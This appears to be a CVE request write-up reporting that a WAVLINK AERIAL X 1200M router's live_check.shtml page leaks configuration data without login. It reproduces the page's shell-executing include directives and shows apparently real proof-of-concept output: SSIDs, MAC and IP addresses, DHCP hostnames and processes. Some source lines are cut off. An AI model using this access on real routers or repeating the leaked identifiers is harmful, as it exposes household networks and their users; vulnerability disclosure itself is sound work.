

main

...

CVE_Request / WAVLINK AC1200_check_live.md



pghuanghui Update WAVLINK AC1200_check_live.md

History

1 contributor

33 lines (20 sloc) | 1.27 KB

...

0x01 Vulnerability description

A vulnerability is in the 'live_check.shtml' page of the AERIAL X 1200M,Firmware package version M79X3.V5030.180719

Unauthorized users can obtain the key information of the router by visiting:

`http://xxx.xxx.xxx.xxx/live_check.shtml`

0x02 Affected version

WAVLINK AERIAL X 1200M

0x03 Vulnerability

Under the live_check.shtml file, use the exec cmd function to execute the command

```

Model=<!--#exec cmd="web 2860 nvram Model"--> , Brand=<!--#exec cmd="web 2860 nvram Brand"--> LANG=<!--#exec cmd="web 2860 sys user_language"-->/<!--#exec cm
FW_Version=<!--#exec cmd="web 2860 sys sdkVersion"-->/<!--#exec cmd="web hw nvram sdkVersion"--> BuildTime=<!--#exec cmd="web 2860 sys buildTime"--> UpTime=<
wanConnectionMode=<!--#exec cmd="web 2860 nvram wanConnectionMode"--> OperationMode=<!--#exec cmd="web 2860 nvram OperationMode"-->, ENWISP=<!--#exec cmd="web
TouchLinkEn=<!--#exec cmd="web 2860 nvram TouchLinkEn"-->, GuestEn=<!--#exec cmd="web 2860 nvram GuestEn"-->, Turbo=<!--#exec cmd="web 2860 nvram Turbo"--> , M
HW_1-6=1T=<!--#exec cmd="web hw nvram HW_parameter1"--> / 2=<!--#exec cmd="web hw nvram HW_parameter2"--> / 3Key=<!--#exec cmd="web hw nvram HW_parameter3"--> .

LAN_MAC = <!--#exec cmd="web 2860 sys lanMacAddr"--> , WAN_MAC=<!--#exec cmd="web 2860 sys wanMacAddr"--> , LanIP=<!--#exec cmd="web 2860 nvram lan_ipaddr"--
<font color=#C333FF>rax0_2G wifi3</font>=<!--#exec cmd="web wifi3 sys wifiMacAddr"-->/ <font color=red><!--#exec cmd="web wifi3 nvram CountryRegion"--></fo
<font color=#C333FF>ra0_2G/5G</font>=<!--#exec cmd="web 2860 sys wifiMacAddr" -->/ <font color=red><!--#exec cmd="web 2860 nvram CountryRegionABand" --
<font color=#C333FF>ra0_5G</font>=<!--#exec cmd="web rtdev sys wifiMacAddr"-->/ <font color=red><!--#exec cmd="web rtdev nvram CountryRegionABand"--
HW: CountryCode=<!--#exec cmd="web hw nvram CountryCode"--> / CountryRegion=<!--#exec cmd="web hw nvram CountryRegion"--> / CountryRegionABand=<!--#exec cmd="
<font color=blue size=4>##### Status </font>
WAN_IP=<!--#exec cmd="web 2860 sys wanIpAddr"--> , wanStatus=<!--#exec cmd="web 2860 sys wanStatus2"--> , internetStatus=<!--#exec cmd="web 2860 sys internetSt
ra0_ApCliEnable=<!--#exec cmd="web 2860 nvram ApCliEnable" --> , ApCliBssid=<font color=blue><!--#exec cmd="web 2860 nvram ApCliBssid" --></font> , ApCliEncr
ra0_ApCliEnable=<!--#exec cmd="web rtdev nvram ApCliEnable"--> , ApCliBssid=<font color=blue><!--#exec cmd="web rtdev nvram ApCliBssid"--></font> , ApCliEncr
rax0_ApCliEnable=<!--#exec cmd="web wifi3 nvram ApCliEnable"--> , ApCliBssid=<font color=blue><!--#exec cmd="web wifi3 nvram ApCliBssid"--></font> , ApCliEncr
<font color=blue size=4>##### Wi-Fi Connect Analysis </font>
GroupList=<!--#exec cmd="web rtdev nvram AccessControlList3"--> / <!--#exec cmd="web hw nvram AccessControlList3"--> <font color=blue>Syncuser:</font><!--#exe
GroupName=<!--#exec cmd="web rtdev nvram AccessControlName3"-->
ApClient_Connect=<!--#exec cmd="web 2860 sys wanStatus2"--> <font color=blue>Path=</font><!--#exec cmd="web rtdev sys wifiMacAddr"--> -- <font color=blue><!--#
<font color=blue size=4>##### mesh_get_extender</font>
<!--#exec cmd="web 2860 sys MeshAnalysis"-->
<!--#exec cmd="api_status.sh speedtest"-->

appuser:
<!--#exec cmd="cat /tmp/appuser"-->

arp -n:
<!--#exec cmd="arp -n"-->

dhcplst:
<!--#exec cmd="dumpleases -f /var/udhcpd.leases"-->

<font color=blue size=4>##### Wi-Fi 2G / 5G Scan</font>
<!--#exec cmd="iwpriv ra0 set SiteSurvey=;sleep 2;iwpriv ra0 get site_survey 1;iwpriv ra0 get_site_survey"-->
<!--#exec cmd="iwpriv ra0 set SiteSurvey=;sleep 2;iwpriv ra0 get_site_survey"-->
<!--#exec cmd="iwpriv rax0 set SiteSurvey=;sleep 2;iwpriv rax0 get_site_survey"-->
<!--#exec cmd="iwpriv ra0 stat | sed '/PinCode/d'"-->
<!--#exec cmd="iwpriv ra0 stat | sed '/PinCode/d'"-->
<!--#exec cmd="iwpriv rax0 stat | sed '/PinCode/d'"-->

ApCliStatus:
<!--#exec cmd="check ApCliStatus.sh"-->
<!--#exec cmd="iwconfig"-->

<font color=blue>##### System log</font>
brctl:
<!--#exec cmd="brctl show"-->
resolv.conf:
<!--#exec cmd="cat /etc/resolv.conf"-->

```

0x04 PoC verification

Please save this page, and then send email to us

Settings

Model=WN579X3 , Brand=WAVLINK LANG=
FW_Version=M79X3.V5030.180719 UpTime=21 Day, 12 h, 36 m BuildTime=18:59:05 Jul 19 2018
OperationMode=3, ENWISP=1, MeshMode=0
wanConnectionMode=DHCP
LanIP=192.168.10.1
LAN_MAC=82:3F:5D:9E:A7:4D , WAN_MAC=80:3F:5D:9F:A7:4B
DOMAIN=wifi.wavlink.com / ap.setup
HW_1~6=1T-1 / 2- / 3Key-0 / 4- / 5Thermal-0 / 6efuse-0

2G_Setting= 5 / W0 / 12 / HT_BW=1 / WirelessMode=9
2G_MAC/SSID= 80:3F:5D:9F:A7:4D / Vodafone-77871548

5G_Setting= 5 / W0 / 36 / HT_BW=1 / VHT_BW=1 / 80211H=0 / WirelessMode=14
5G_MAC/SSID= 80:3F:5D:9F:A7:4E / Vodafone-77871548

Status

WAN_IP=192.168.1.5 , wanStatus=0 , internetStatus=1
5G_ApCliEnable=0 , ApCliBssid=50:c7:bf:49:cb:05 , ApCliEncryptType=AES
2G_ApCliEnable= , ApCliBssid= , ApCliEncryptType=AES

Wi-Fi Connect Analysis

GroupList=
ApClient_Connect=1
Path=80:3F:5D:9F:A7:4E -- 70% --> 50:c7:bf:49:cb:05

mesh_get_extender

Wi-Fi 2G / 5G Scan

ra0	get_site_survey:					
Ch	SSID	BSSID	Security	Siganl(%)	ExtCH	
100	Vodafone-77871548	80:16:05:22:df:c2	WPA2PSK/AES	42	ABOVE	NONE NONE

ra0	get_site_survey:					
Ch	SSID	BSSID	Security	Siganl(%)	ExtCH	
4	Wind3 HUB - F9EF9A	30:42:40:f9:ef:9a	WPA2PSK/AES	10	NONE	
6	Villa Amici Ext 2.4G	80:3f:5d:c1:81:44	WPA2PSK/AES	10	NONE	
12	Vodafone-77871548	80:16:05:22:df:c1	WPA2PSK/AES	65	NONE	

ra0 stat:
Current temperature = 68
Average RSSI = -75
Tx success = 230082505
Tx retry count = 4678282, PER=0.1%
Tx fail to Rcv ACK after retry = 6688, PLR=0.00%
Rx success = 11432240
Rx with CRC = 1734415, PER=13.1%

System log

	total	used	free	shared	buffers
Mem:	59204	37672	21532	0	0
Swap:	0	0	0		
Total:	59204	37672	21532		

? (192.168.10.106) at d0:7f:a0:11:e1:e5 [ether] on br0
 ? (192.168.10.102) at 84:7a:b6:4c:1f:a1 [ether] on br0
 ? (192.168.10.100) at 6c:c7:ec:76:02:82 [ether] on br0
 ? (192.168.10.110) at 00:e4:21:48:68:fb [ether] on br0
 ? (192.168.10.108) at 12:d5:40:eb:f2:55 [ether] on br0
 www.adsl.vf (192.168.1.1) at 80:16:05:22:df:c0 [ether] on apcli0

Hostname	Mac Address	IP-Address	Expires in
Diego-Note9	6c:c7:ec:76:02:82	192.168.10.100	23:59:20
	00:00:00:00:00:00	192.168.10.101	expired
	84:7a:b6:4c:1f:a1	192.168.10.102	19:27:15
	00:00:00:00:00:00	192.168.10.103	expired
	5c:d0:6e:d1:04:d5	192.168.10.104	11:29:08
Samsung	5c:c1:d7:9e:9c:02	192.168.10.105	17:39:00
Galaxy-Tab-A-20	d0:7f:a0:11:e1:e5	192.168.10.106	22:27:01
	f0:24:75:91:d3:26	192.168.10.107	expired
	12:d5:40:eb:f2:55	192.168.10.108	1 days 00:00:00
	00:e4:21:48:68:fb	192.168.10.110	20:05:27
	ae:a9:a8:ad:3d:18	192.168.10.109	expired
	10:8e:e0:b9:9d:02	192.168.10.111	expired
	40:45:da:a5:84:2f	192.168.10.112	expired

apcli0 Link encap:Ethernet HWaddr 82:3F:5D:9E:A7:4D
 inet addr:192.168.1.5 Bcast:192.168.1.255 Mask:255.255.255.0
 inet6 addr: fe80::803f:5dff:fe9e:a74d/64 Scope:Link
 UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
 RX packets:0 errors:0 dropped:0 overruns:0 frame:0
 TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
 collisions:0 txqueuelen:1000
 RX bytes:0 (0.0 B) TX bytes:0 (0.0 B)

br0 Link encap:Ethernet HWaddr 80:3F:5D:9F:A7:4B
 inet addr:192.168.10.1 Bcast:192.168.10.255 Mask:255.255.255.0
 inet6 addr: fe80::823f:5dff:fe9f:a74b/64 Scope:Link
 UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
 RX packets:49153838 errors:0 dropped:0 overruns:0 frame:0
 TX packets:75873481 errors:0 dropped:0 overruns:0 carrier:0
 collisions:0 txqueuelen:0
 RX bytes:6095429297 (5.6 GiB) TX bytes:90226227789 (84.0 GiB)

eth2 Link encap:Ethernet HWaddr 80:3F:5D:9F:A7:4B
 inet6 addr: fe80::823f:5dff:fe9f:a74b/64 Scope:Link
 UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
 RX packets:38974336 errors:0 dropped:0 overruns:0 frame:0
 TX packets:60258036 errors:0 dropped:0 overruns:0 carrier:0
 collisions:0 txqueuelen:1000
 RX bytes:373411275 (356.1 MiB) TX bytes:2243514853 (2.0 GiB)

```

rx_packets:0 rx_errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:1015047819 (968.0 MiB) TX bytes:2557357496 (2.3 GiB)
Interrupt:13

```

PID	USER	VSZ	STAT	COMMAND
1	admin286	2292	S	init
2	admin286	0	SW	[kthreadd]
3	admin286	0	SW	[ksoftirqd/0]
4	admin286	0	SW	[kworker/0:0]
5	admin286	0	SW	[kworker/u:0]
6	admin286	0	SW<	[khelper]
7	admin286	0	SW	[sync_supers]
8	admin286	0	SW	[bdi-default]
9	admin286	0	SW<	[kblockd]
10	admin286	0	SW	[kswapd0]
11	admin286	0	SW<	[crypto]
15	admin286	0	SW	[mtdblock0]
16	admin286	0	SW	[mtdblock1]
17	admin286	0	SW	[mtdblock2]
18	admin286	0	SW	[mtdblock3]
19	admin286	0	SW	[mtdblock4]
20	admin286	0	SW	[kworker/u:1]
88	admin286	0	SW	[kworker/0:1]
111	admin286	2828	S	nvrn_daemon
604	admin286	0	SW	[RtmpCmdQTask]
605	admin286	0	SW	[RtmpWscTask]
611	admin286	0	SW	[RtmpCmdQTask]
612	admin286	0	SW	[RtmpWscTask]
613	admin286	0	SW	[RtmpMlmeTask]
1518	admin286	2292	S	udhcpd /etc/udhcpd.conf
1937	admin286	868	S	mtkiappd -wi ra0 -wi rai0
3803	admin286	2288	S	klogd
3876	admin286	1208	S	keyroutermode
3878	admin286	1212	S	resetrouter
3880	admin286	1236	S	monitor
3900	admin286	1212	S	network_status
3915	admin286	2288	S	telnetd
3917	admin286	2328	S	/bin/sh /sbin/curl.sh
3920	admin286	2288	S	/sbin/getty -L /dev/ttyS1 57600 vt100
4866	admin286	2340	S	udhcpc -i apcli0 -s /sbin/udhcpc.sh -p /var/run/udhcp
8346	admin286	5604	S	lighttpd -f /etc_ro/lighttpd/lighttpd.conf -m /etc_ro
8833	admin286	856	S	ntpclient -s -c 0 -h pool.ntp.org -i 3600
30039	admin286	2296	S	crond
31303	admin286	2288	S	sleep 12
31348	admin286	2288	S	sh -c web 2860 sys SystemLog
31349	admin286	3816	S	web 2860 sys SystemLog
31358	admin286	2288	S	sh -c ps sed 's/
31359	admin286	2292	R	ps
31360	admin286	2288	S	sed s/

In the live_check.shtml interface, it contains various information of the router, such as: firmware version, MAC address, etc., and even information such as the running process of the router.

0x05 Acknowledgement

